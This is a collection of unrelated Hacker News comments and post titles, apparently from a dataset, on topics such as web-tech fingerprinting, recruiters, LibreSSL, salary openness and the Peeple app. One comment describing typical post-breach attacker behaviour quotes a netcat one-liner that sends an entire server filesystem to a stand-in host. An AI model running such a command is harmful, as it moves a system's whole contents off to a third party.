skysight-inc/HackerNews huggingface dataset:
Ask HN: Can anyone explain how does the underlying technology of a service like BuiltWith is working? I know reading source code and looking for JavaScript libraries is easy, but is that all there is to it?
This feels like a data set that might already be on the amazing https://enigma.io
What stops said Vietnamese for working the same 5 hours a month remotely?
I'm sorry, what?

What does this product have that fixes the problem you're talking about here? How does working in a spreadsheet with javascript net you any better benefit than working with Excel with respect to obsolete sheets?
But for every cigarette you don't smoke, someone else has to smoke it! You're just shifting the lung cancer to someone else!
In the vast majority of hacks, the attacker doesn't take the time to manually debug where the source code pulls in keys to put an echo/puts/print statement in place, and non-PHP languages in general require a restart of the app server in order to pick up the source change, potentially triggering NOC alerts. I can't remember seeing a hack go any differently than someone running

tar czf - / | nc example.org 1234

and exploring the dumped server offline, only going back if the initial dump didn't raise alarms and the RCE is easy enough to trigger.
And that, boys and girls, is how we got the PC clones. Thanks to Compaq no less. Could not happen today though, as back then IBM could not patent the BIOS chip.
Then title it "Vim Primer," which is accurate.
Don't tell Microsoft! (Windows, Word, Surface, etc.) Or Apple! (Pages, Numbers, etc.)
25 PHP Influencers to Follow on Twitter
The code won't but the spec/format can. What you do is have a third party look at the code. They need to identify a high-level description of what it does, what inputs the format takes, what outputs it uses, the storage format, and so on. Precise enough for someone else to implement it from scratch with likely compatibility. Yet, not copying the code itself and maybe not even copying the implementation strategy. Should avoid GPL tainting.

Even if someone wants to sue over it, I'd say that legal battle is worth fighting because this is similar to how FOSS makes stuff compatible with proprietary software/protocols: reverse engineering their function to make a separate, compatible implementation. Knowing how important that is, I doubt even the zealots would sue someone using above methodology knowing it could set a precedent which might be used against them.
I'm curious what circles you run in in the open source world. In my little corner of it, most everyone had nothing but excitement and support for LibreSSL.
Although criticism of recruiters and their approaches are frequent, I don't see nearly as much guidance that might help recruiters in what information to share in an introduction.

From my experience with recruiters, something like 90% of them DON'T GIVE A SHIT. I tried offering them constructive feedback and they acted like it went in one ear and out the other and kept doing the same shit they always did.

You know what they say about those who won't listen to reason: the only recourse is mockery.

Part of the problem is it takes actual effort to engage with an experienced candidate in a way that will interest them, and recruiters -- almost invariably -- go for breadth not depth. You gotta act like you read their résumé and it didn't just pop up as the top hit in a database search. You gotta look at their relevant experience and guess at their interests or even -- gasp -- ask them! You gotta learn something about the work they've done and help them find work in line with what they'd enjoy or be skilled at -- in a manner that goes beyond mere keyword match. For example, C++ is not a "technology" -- it's a programming language and it's broad enough to encompass many fields. A person who wrote robot control software in C++ for instance is unlikely to want to get a job writing Win32 COM client-server apps for a bank. So DON'T TELL THEM WHAT A "GREAT FIT" THEY'D BE FOR THE BANK APP ROLE JUST BECAUSE IT SAID C++.
Well capable? Yes Pandas can do that but I think what you are talking about is you want a GUI tool?

Everything about Pandas, IPython(Now Jupyter) and R (And the other data languages) are 100% about performing functions.
This project and particular site have been around, largely unchanged, for many years.

The WU-Minn side of the project is seemingly more active, and their dataset is much, much easier to obtain: http://humanconnectome.org/data/. Their scripts for processing the data are up on github at https://github.com/Washington-University/Pipelines.
Neon Is Nervana's Python Based Deep Learning Framework
Actually the bun (and ketchup) makes you fat. The meat (and fat in it) makes you thin.
https://en.wikipedia.org/wiki/Why_We_Get_Fat
To make `info cmd` more like `man cmd` do:

info --subnodes "$@" | less
Yeah, we're a full web app and we love integrations (GitHub is just the first) so GitLab seems very promising. We haven't looked into the specifics yet but we'd love to create integration #2!
Agree, but if someone is putting all their effort and focus onto it they are missing the point. If you go out of your way to eat all "organic" and "natural" foods but you're 50 lbs overweight you need to get your priorities straight.
Does Zube support having one board that covers multiple GitHub repos?
The white-man effect: How foreigner presence affects behavior in experiments
(Google)analytics.js is 42 lines long – coincidence?
They really aren't doing themselves any favours here:

'Peeple co-founder Julia Cordray told the BBC: "With any new concept there is naturally fear.
"When the people found out that the Earth was round instead of flat and that we revolved around the Sun instead of the Sun revolving around us, naturally people were upset and confused and they pushed back with all that they had.'

Somehow I don't think that the heliocentric model is a useful comparison to make to your idea for a website...
I'm interested in this but it's in lack of documentation, worse than openssl at the moment.

for example any demo code for me to try out the libtls?
The PR effort behind this app is amazing. I feel equally intimidated and flummoxed when I try to imagine how they achieved such marketing success. Why did anyone care about this particular app before it started the frenzy, and why does(did?) it continue to grow so much?
Not related beyond us both wanting to make GitHub issues better :)
We've been using Zube at Interviewed and really like it.

We'd been using Github Issues previously but found it hard to prioritize our tickets in a way that was natural for us. The ability to drag and drop reorder our backlog has really helped with that.

Also, the UI works well for quick updates during our morning standup.
I was also outraged by the listing until i went inside. It's rather good inside. It's a shame about the outside, but i suppose people spend more time inside buildings than outside them.
Yes, I agree.

There's another nuanced advantage to this kind of tool, however: the ability to perform "reproducible" analysis.

With an excel spreadsheet, the person doing the analysis typically pulls in some data (usually by copy/paste), and then performs a series of manipulations on it. These manipulations are NOT recorded. A the end of the analysis the author sends the spreadsheet in an email or maybe copies the spreadsheet into the body of an email. Recipients, if they're going to evaluate the analysis have a lot of work to do over and aren't necessarily able to determine what, exactly, was done to the data.

Something like this puts everything into a console, javascript libraries, and tables-- as long as the author manipulates data from the console and the functions, it should be possible for someone to follow what was done to the data, reproduce results, and go further with the analysis.
This is alarming, yes. You know what is more alarming? The fact that hardware and websites have conspired together along with brick~mortar retailers, and cell phones, to create an entire profile about everything I do.

Then at some point in the future someone can buy this information. Then some young HR person who has read too many pop psychology books will determine "You're not a good fit" or much, much worse.
And it looks (at least in Saudi Arabia's case) that they were trying to diversify towards renewables in a vast way [0], although my google search also turned up more recent articles indicating they're pushing that back [1]. The thing about the Saudi Arabian royal family is that they're all guaranteed allowances and the family grows at a near exponential rate since they all have multiple wives. I couldn't find any good sources on numbers but in a book about Saudi Arabia by former CIA operative Robert Baer "Sleeping with the Devil: How the US Sold it's Soul for Saudi Crude" [3] [4] I believe he estimated the current number to be about 60,000 (Wikipedia estimates 15,000 so I may be remembering that wrong [5]), aka an unsustainable population growth in royal family members.

[0] - http://www.arabnews.com/news/458342
[1] - http://www.renewableenergyworld.com/news/2015/01/saudi-arabi...
[3] - http://www.amazon.com/Sleeping-Devil-Washington-Saudi-Crude/...
[4] - (heartily recommended, although because most of these things are classified, truly it is his word. In his other book about Iran, his conclusion was to bring Iran to the playing table and recognize them as a regional and world power, so it doesn't seem to follow a strictly American narrative, and in my opinion, gives him a bit of credence. Others may beg to differ, I'm not sure.)
[5] - https://en.wikipedia.org/wiki/House_of_Saud
I was in diapers when that was filmed, but it's amazing how much of that still applies in my day-to-day work.
It would be nice to combine this with the Cyc project https://en.wikipedia.org/wiki/Cyc and biomimetic cognition: http://52.10.12.34/biomimetic-cognition/biomimetic-api.html

"The project was started in 1984 as part of Microelectronics and Computer Technology Corporation. The objective was to codify, in machine-usable form, millions of pieces of knowledge that compose human common sense. CycL presented a proprietary knowledge representation schema that utilized first-order relationships.[1] In 1986, Doug Lenat estimated the effort to complete Cyc would be 250,000 rules and 350 man-years of effort.[2] The Cyc Project was spun off into Cycorp, Inc. in Austin, Texas in 1994.
The name "Cyc" (from "encyclopedia", pronounced [saɪk] like syke) is a registered trademark owned by Cycorp. The original knowledge base is proprietary, but a smaller version of the knowledge base, intended to establish a common vocabulary for automatic reasoning, was released as OpenCyc under an open source (Apache) license. More recently, Cyc has been made available to AI researchers under a research-purposes license as ResearchCyc.
Typical pieces of knowledge represented in the database are "Every tree is a plant" and "Plants die eventually". When asked whether trees die, the inference engine can draw the obvious conclusion and answer the question correctly. The Knowledge Base (KB) contains over one million human-defined assertions, rules or common sense ideas. These are formulated in the language CycL, which is based on predicate calculus and has a syntax similar to that of the Lisp programming language.
Much of the current work on the Cyc project continues to be knowledge engineering, representing facts about the world by hand, and implementing efficient inference mechanisms on that knowledge. Increasingly, however, work at Cycorp involves giving the Cyc system the ability to communicate with end users in natural language, and to assist with the knowledge formation process via machine learning.
Like many companies, Cycorp has ambitions to use Cyc's natural language processing [3] to parse the entire internet to extract structured data.[4]
In 2008, Cyc resources were mapped to many Wikipedia articles,[5] potentially easing connecting with other open datasets like DBpedia and Freebase."
Building a product with a very limited number of buyers is a bad idea. Self-driving cars need car manufacturer cooperation, and it's difficult to become a car manufacturer. So it's likely that car manufacturers will be able to negotiate a low price for Google's tech, if they buy it at all.

I saw the same thing happen to a startup that built some new set-top-box capabilities that needed cable company cooperation. No cable company wanted to buy the tech... "Our existing tech is good enough, we'll improve it over time to have those features anyway." The startup didn't sell anything, and died.

12 years later, it's finally becoming possible to control your TV by voice.
I'm unclear, is this professional wrestling (staged and heavily choreographed) or is this more akin to MMA, where the bouts are not predetermined and the fighting is "for real"?
This is possible, and in fact probably implemented in some probabilistic programming languages, but I think you are looking at the wrong direction.

The point is that even for fairly simple real use cases, the computation complexity is so huge, that all computers in the world couldn't compute it in your lifetime if you don't employ some approximation or optimization and stick to naive algorithms.

So, that is what the whole field of machine learning is about: finding some clever ways to deal with random variables in a computationally feasible way...
Any measure would be a good start.
No its not about revolt by the poor.
Because there is basically no effective law enforcement on the rich, the poor are in real danger of harmed or even killed by the rich, and the rich would not be punished accordingly.

Caveat, the poor do get punished accordingly. As always.

There are regular cases of the rich kids drive a fancy car drunk, kills a few, and silently received a few years in jail, where the poor will probably get half life time. Then in a year or so, the guy suppose in jail suddenly appear on the street... Jesus, you got to be worried walking on street and killed by a drunk rich kid...

All in all, it was not motivated by preventing revolt. The Chinese riches in generally are just too evil...
That's a silly notion.

If all slave owners treated their slaves really well, provide them with decent housing, gourmet food, education, social activities and entertainment, vacations, and etc, with the condition that they have to work, then there is probably not going to be a rebellion, and we'd still have slavery today.

Oh wait, did I just describe the condition what most of us live in?

In the end, rebellions happen when people don't have basic security. If in a future society, where the 1% people countrols 99% of the wealth, but even the poorest people get all the food, shelter, entertainment etc they need, I don't think there is going to be a rebellion like we see in history books.
1) Anonymous reviews of real people are unworkable, they descend instantly into the familiar internet culture hell of trolling and awfulness.

2) Nobody wants to write negative reviews of other people using their own real name.

3) Nobody needs a new destination to find faux-positive fluffy reviews of people by other people. To the extent there's demand for that, existing social media does it pretty well already.

Therefore, this will fail quickly and decisively if it launches at all, joining other similar efforts such as Secret and Ello that attempted to solve problems that didn't really exist in the first place with not very well thought out solutions.
Unfortunately I don't expect a boycott will ever work because there will always be statistically significant number of users for Facebook to run their social experiments on, so there won't be any reason for them to stop, even if the populations of entire countries delete their accounts.

I'm still holding out for a privacy-centric social network. Only problem is I won't join it unless enough of my friends do, so I guess we'll see.

I hardly use Facebook anymore anyway.
tl;dr: use cheap ingredients
Because making presentations inacessible to people with screenreaders is hilarious.
There are definitely properties of numbers that are more easily stated in one base vs. another, but I don't see how an automata would matter. Any automata that can process strings in one base can be converted into an automata that can process strings in any other base.

An example of such a property is that a real number in the interval [0,1] is a member of the Cantor set if and only if it has no 1's in its base 3 representation (not a typo, yes, base 3).
We can't just count the carbon cost of incineration without comparing the carbon cost of using a cemetery in the middle of town or of moving the dead for burial further away from city centers. It's a tradeoff that has to take into account the costs over the lifetime of city dwellers around cemeteries. Let's not be too hasty assuming that burying has zero carbon costs.
Ask HN: Should the factors deciding salary be open information?
This comes up a lot, articles like: https://logbook.hanno.co/open-team-salaries/ and subsequently https://logbook.hanno.co/choose-your-own-salary/ from Hanno underscore the key issues for me.

I want to be as open about salaries (and equity) as possible with my employees, but at the same time, I appreciate that it's a really complicated subject from both a personal, and social perspective and from an economic one, and that whilst the people who work with me are very bright this isn't their field. People who are fantastic developers want to know they're well-compensated, and treated fairly, and they're always going to feel strongly about the outcome of the calculation that goes to determine salaries, but they're not necessarily prepared to, and certainly shouldn't be obliged to, delve into its intricacies.

I feel that the key is trust: if you don't trust your employer then an open salary policy like Hanno's seems a wonderful thing, but only because the alternative is something that you perceive to be an unfair system that's affecting your life but is hidden away from you. The ideal, to me at least, seems to be a system in which you trust that the outcomes will be just, but you don't know exactly how they're achieved; one in which nothing is hidden from you, but nothing is forced in front of you - if you want to ask about your colleagues salaries or the factors that were considered when they were decided you're welcome to and you'll be told, but generally you don't feel the need to, because nothing you see around you seems unjust.

It seems at first viewing that policies like Hanno's take difficult decisions that should be made by CEOs and the like and make them the responsibility of everyone - at the best it's lazy, at the worst it's actively deceptive.

I'd love to hear other people's thoughts - mine are still undecided.
I don't see why people who hate their jobs, which means they probably aren't very effective at them, should have to work. What if everyone applying a job is someone who actually wants to and is able to do that job? That would make hiring a lot easier, and employees would be happier and more engaged.

If someone wants to stay home and eat Cheetos every day, why should I care?
Add a virtual flip book to any webpage without JavaScript
Im afraid your experience of workflow is stuck in the 90s

Excel works just fine with dynamic data via SQL and Jason via URL.

You can also embed it as a runtime object in HTML.
At first I thought my email was just scraped from HN. See my other comment too.
Nodesource work from anywhere in the world
I do seem to recall some complaining about the tone the OpenBSD developers used, but they where not really getting anywhere by being nice either. Also some complaining about them not helping to fix OpenSSL instead.
I really like the animated demo graphic you have in the imac. Can i ask how you made that?
Could a bank deny you a loan if you don't have Facebook?
Recent Firefox releases solve that issue. Try Developer Edition or a Nightly.
You might have a point if those products had been called "Operating System", "Text Editor" and "Portable Computer With Touchscreen and Keyboard".
Everything you expect from a real time news platform
I prefer the opposite approach - culture appropriation is fine and should be proven otherwise on case by case basis. Makes life more simple.
I wouldn't really say it's PR, it's more like it just went viral. As in, I wouldn't say the Bedroom Intruder guy or Charlie Bit My Finger had great PR. They just did something that touched a nerve and people pounced.
I was employed at a large open-source organization at the time of the fork. A conversation I participated in was specifically along the lines of (broad paraphrasing here) "They should be contributing their changes back to OpenSSL versus forking".

While attending a security conference in Vancouver earlier this year, someone commented that they thought the OpenBSD team was childish for forking LibreSSL, and several people chimed in with agreement.

Of course this is all hear-say for you, and your experiences may vary. I've met more than a handful of people who did not like the fork. There are lots of people in the world, and they all have different opinions.
Yes: http://i.imgur.com/BqN7iCF.jpg
Trac is still around. Trac 1.2 is planned this year. There are many users [1] e.g. jQuery, WebKit, WordPress, GHC, FFmpeg, ...

[1] http://trac.edgewall.org/wiki/TracUsers
Seen the same over on Ars Technica.

Science section article, maybe one or two pages of commments most of the time. Social science article, watch it explode to 20+ pages easily.

Or just now on /r/science, an article on porn and the watchers views on women. 1000+ comments easily.

We should not really be surprised that MSM is the way it is, low hanging fruits and all that...
Agreed. I kind of don't get Trello. Always thought of it as kind of a lightweight "stack of cards" analogue best used for simple high-level planning along the lines of a Kanban board. Is that how people use it?
Considering credit companies and advertisers have been sprinting along this path of rating human beings for a while now, maybe Peeple (if executed well) can provide a necessary counterweight?
The Incredible Expandable Book
That "Peeple Watching Webisode" was so cringeworthy.
ACA also prohibits charging differently on sex, as do many state laws.
365 acres = .570 mi².

NYC population density = 27,858/mi².

That's space for 15,723 (living) people.

There are approx 3M people buried there.
Bill Nye had a clock built at Cornell University to emphasize this difference: http://www.news.cornell.edu/stories/2011/08/bill-nye-77-harn...
> I wouldn't really say it's PR, it's more like it just went viral.

When the seed for something viral is a feature story in the second most important newspaper in the country then that's called PR.
It's lossless (in theory) when compared to a 1/64th scaled version of the original image (which is what was clearly meant).
I'm not overly familiar with Rustdoc's internals, but I would imagine that traversing type information will become much more straightforward when HIR/MIR become a reality. Is that accurate? If so, maybe that's a something for which it's worth delaying a structural overhaul.
Does anyone here live somewhere with a large difference? In particular Chile and Argentina look like solar noon is a couple of hours after clock noon. Sounds like the kind of place for late sleepers.